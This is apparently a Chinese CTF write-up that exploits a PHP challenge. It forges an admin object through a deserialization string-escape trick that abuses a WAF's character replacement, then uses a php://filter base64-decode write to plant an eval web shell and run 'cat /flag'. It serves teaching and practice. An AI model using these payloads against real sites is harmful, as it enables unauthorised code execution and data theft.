step 1 寻找利用点
随便注册一个进去,能写入文件
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') { // 获取 Cookie 内容 if (isset($_COOKIE[$cookieName])) { $token = $_COOKIE[$cookieName]; // 解码并分割数据和签名 $decodedToken = base64_decode($token); list($serializedData, $providedSignature) = explode('|', $decodedToken); // 重新计算签名 $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey); // 比较签名是否一致 if ($calculatedSignature === $providedSignature) { // 签名验证通过,返回序列化的数据 return $serializedData; // 反序列化数据 } else { // 签名验证失败 return false; } } return false; // 如果没有 Cookie} // 示例:验证并读取 Cookie$userData = checkSignedCookie();
if ($userData) { #echo $userData; $user=unserialize($userData); #var_dump($user); if($user->isadmin){ $tmp=file_get_contents("tmp/admin.html"); echo $tmp; if($_POST['txt']) { $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); } } else{ $tmp=file_get_contents("tmp/admin.html"); echo $tmp; if($_POST['txt']||$_POST['filename']){ echo "<h1>权限不足,写入失败<h1>";
} }
} else { echo 'token验证失败';
}
step 2 寻找伪造admin的方法
漏洞点出现在这里
$User=login($SQL,$username,$password); $User_ser=waf(serialize($User)); setSignedCookie($User_ser); header("Location: dashboard.php");
function waf($c)
{ $lists=["flag","'","\\","sleep","and","||","&&","select","union"]; foreach($lists as $list){ $c=str_replace($list,"error",$c); } #echo $c; return $c;
}
waf会将序列化后的内容替换为error,这是一个test用户应该有的序列化后的字符串
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}
但是如果有用户叫
";s:7:"isadmin";b:0;}
他序列化后的数据就是
O:4:"User":2:{s:8:"username";s:21:"";s:7:"isadmin";b:0;}";s:7:"isadmin";b:0;}
我们要伪造isadmin为1
";s:7:"isadmin";b:1;}
接下来利用'
将一个字符变为五个,也就是多出四个字符,我们需要想办法对其齐s:21
,但是21不能被4整除,我们还得配合其他字符
'''''flag";s:7:"isadmin";b:1;}
序列化后的内容会从
O:4:"User":2:{s:8:"username";s:30:"'''''flag";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}
变成
O:4:"User":2:{s:8:"username";s:30:"errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}
即可成功伪造admin
step 3 文件写入拿shell
使用伪协议filter
写和base64解码特性卡掉后面的东西
<?php eval($_POST[123])?>
filename=php://filter/convert.base64-decode/resource=./shell.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
后端和<?php exit; ?>
拼上就是
<?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
base64解码后是
¦^Æ+Z<?php eval($_POST[123])?>
然后post获取flag即可
123=system('cat /flag');